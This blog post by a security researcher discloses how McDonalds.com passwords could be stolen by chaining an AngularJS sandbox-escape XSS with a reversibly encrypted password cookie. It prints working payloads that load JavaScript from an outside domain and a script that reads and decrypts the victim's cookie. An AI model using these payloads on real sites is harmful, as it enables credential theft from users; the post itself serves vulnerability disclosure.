Stealing passwords from McDonald's users

Posted on by Tijme Gommers.

By abusing an insecure cryptographic storage vulnerability and a reflected server cross-site-scripting vulnerability it is possible to steal and decrypt the password from a McDonald’s user. Besides that, other personal details like the user’s name, address & contact details can be stolen too.

Proof of Concept

Reflected XSS through AngularJS sandbox escape

McDonalds.com contains a search page which reflects the value of the search parameter (q) in the source of the page. So when we search on for example ***********-test-reflected-test-***********, the response will look like this:

Text on website
Text in HTML

McDonald’s uses AngularJS so we can try to print the unique scope ID using the search value. We can do this by changing the q parameter value to {{$id}}. As we can see {{$id}} gets converted to 9 the unique ID (monotonically increasing) of the AngularJS scope.

Unique ID on website
Unique ID in HTML

Using {{alert(1)}} as value wouldn’t work because all AngularJS code is executed in a sandbox. However, the AngularJS sandbox isn’t really safe. In fact, it shouldn’t be trusted at all. It even got removed in version 1.6 because it gave a false sense of security. PortSwigger created a nice blog post about escaping the AngularJS sandbox.

We first need to find the AngularJS version of McDonalds.com. We can do this by executing angular.version in the console.

Angular version

The version is 1.5.3, so the sandbox escape we need is {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}. We can use this sandbox escape as search value, which results in an alert.

Alert using AngularJS sandbox escape

We can even load external JavaScript files using the following sandbox escape, which results in the alert below.

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(https://tij.me/snippets/external-alert.js)');}}

The JavaScript can be loaded from another domain since McDonald’s doesn’t exclude it using the Content-Security-Policy header.

External domain alert using AngularJS sandbox escape

Proof of Concept

Stealing the user’s password

Another thing I noticed on McDonalds.com was their sign in page which contained a very special checkbox. Normally you can check “Remember me” when signing in, but the McDonald’s sign in page gives us the option to remember the password.

Remember my password checkbox

I searched through all the JavaScript for the keyword password and I found some interesting code that decrypts the password.

Source code search for `password`
Source for decrypting the user's password

If there’s one thing you shouldn’t do, it’s decrypting passwords client side (or even storing passwords using two-way encryption). I tried to run the code myself, and it worked!

Decrypting my password using the console

The penc value is a cookie that is stored for a year. LOL!

The `penc` cookie that is stored for a year

McDonald’s uses CryptoJS to encrypt and decrypt sensitive data. They use the same key and iv for every user, which means I only have to steal the penc cookie to decrypt someone’s password.

Encrypting and decrypting sensitive data using CryptoJS

I tried decrypting my password on the search page using a malicious search payload, but it didn’t work. Since the AngularJS sandbox escape payload replaces the charAt method with the join method, the getCookie method failed. The getCookie method tries to trim whitespaces from cookie values by checking if charAt(0) is a whitespace. In the images below you can see .charAt(0) returns a string joined by 0 if executed on the search page.

The `charAt` method on the search page (fails)
The `charAt` method on the homepage (success)

I wrote some JavaScript that loads the homepage in an iframe and steals the cookie using that iframe. Since the payload is executed multiple times because of the sandbox escape, I keep track of the variable xssIsExecuted, so that the payload is only executed once.

if (!window.xssIsExecuted) {
    window.xssIsExecuted = true;

    var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>');
    $('body').append(iframe);

    iframe.on('load', function() {
        var penc = iframe[0].contentWindow.getCookie('penc');
        alert(iframe[0].contentWindow.decrypt(penc));
    });
}

We can now use the following sandbox escape, which results in my password in an alert box!

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(https://tij.me/snippets/mcdonalds-password-stealer.js)');}}

My password!

That was all pretty easy. I tried to contact McDonald’s multiple times to report the issue, but unfortunately they didn’t respond, which is why I decided to disclose the vulnerability.